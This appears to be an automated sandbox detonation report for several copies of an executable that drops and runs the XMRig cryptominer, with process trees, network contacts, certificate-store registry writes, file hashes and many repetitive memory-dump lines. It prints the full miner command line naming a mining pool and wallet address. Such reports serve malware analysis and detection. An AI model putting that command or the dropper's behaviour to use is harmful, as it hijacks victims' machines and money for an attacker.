memory/4028-74-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-75-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-76-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-77-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-78-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-79-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-80-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-81-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

memory/4028-82-0x00007FF75FB00000-0x00007FF760603000-memory.dmp

Analysis: behavioral15

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:41

Platform

win10v2004-20240508-en

Max time kernel

1702s

Max time network

1715s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (8).exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (8).exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (8).exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp

Files

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:25

Platform

win10v2004-20240611-en

Max time kernel

1794s

Max time network

1805s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (10).exe"

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

xmrig

miner xmrig

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\main - Copy (10).exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy (10).exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy (10).exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (10).exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (10).exe"

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4256,i,2113996974559895641,18156918660790954073,262144 --variations-seed-version --mojo-platform-channel-handle=4084 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4120,i,2113996974559895641,18156918660790954073,262144 --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:8

Network

Country Destination Domain Proto
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 14.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
DE 95.179.241.203:80 pool.hashvault.pro tcp
US 8.8.8.8:53 203.241.179.95.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 24.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 215.143.182.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

MD5 e2fe87cc2c7dab8ca6516620dccd1381
SHA1 f714ec0448325435103519452610cf7aadf8bbba
SHA256 d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA512 8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

memory/3572-14-0x00000256BACB0000-0x00000256BACD0000-memory.dmp

memory/3572-15-0x00000256BAD00000-0x00000256BAD20000-memory.dmp

memory/3572-16-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-18-0x00000256BC4E0000-0x00000256BC500000-memory.dmp

memory/3572-17-0x00000256BC500000-0x00000256BC520000-memory.dmp

memory/3572-19-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-20-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-23-0x00000256BC4E0000-0x00000256BC500000-memory.dmp

memory/3572-22-0x00000256BC500000-0x00000256BC520000-memory.dmp

memory/3572-21-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-24-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-25-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-26-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-27-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-28-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-29-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-30-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-31-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-32-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-33-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-34-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-35-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-36-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-37-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-38-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-39-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-40-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-41-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-42-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-43-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-44-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-45-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-46-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-47-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-48-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-49-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-50-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-51-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-52-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-53-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-54-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-55-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-56-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-57-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-58-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-59-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-60-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-61-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-62-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-63-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-64-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-65-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-66-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-67-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-68-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-69-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-70-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-71-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-72-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-73-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-74-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-75-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-76-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-77-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-78-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-79-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-80-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-81-0x00007FF725350000-0x00007FF725E53000-memory.dmp

memory/3572-82-0x00007FF725350000-0x00007FF725E53000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:26

Platform

win10v2004-20240611-en

Max time kernel

1793s

Max time network

1799s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (2).exe"

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

xmrig

miner xmrig

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\main - Copy (2).exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy (2).exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy (2).exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (2).exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (2).exe"

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 6.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 45.76.89.70:80 pool.hashvault.pro tcp
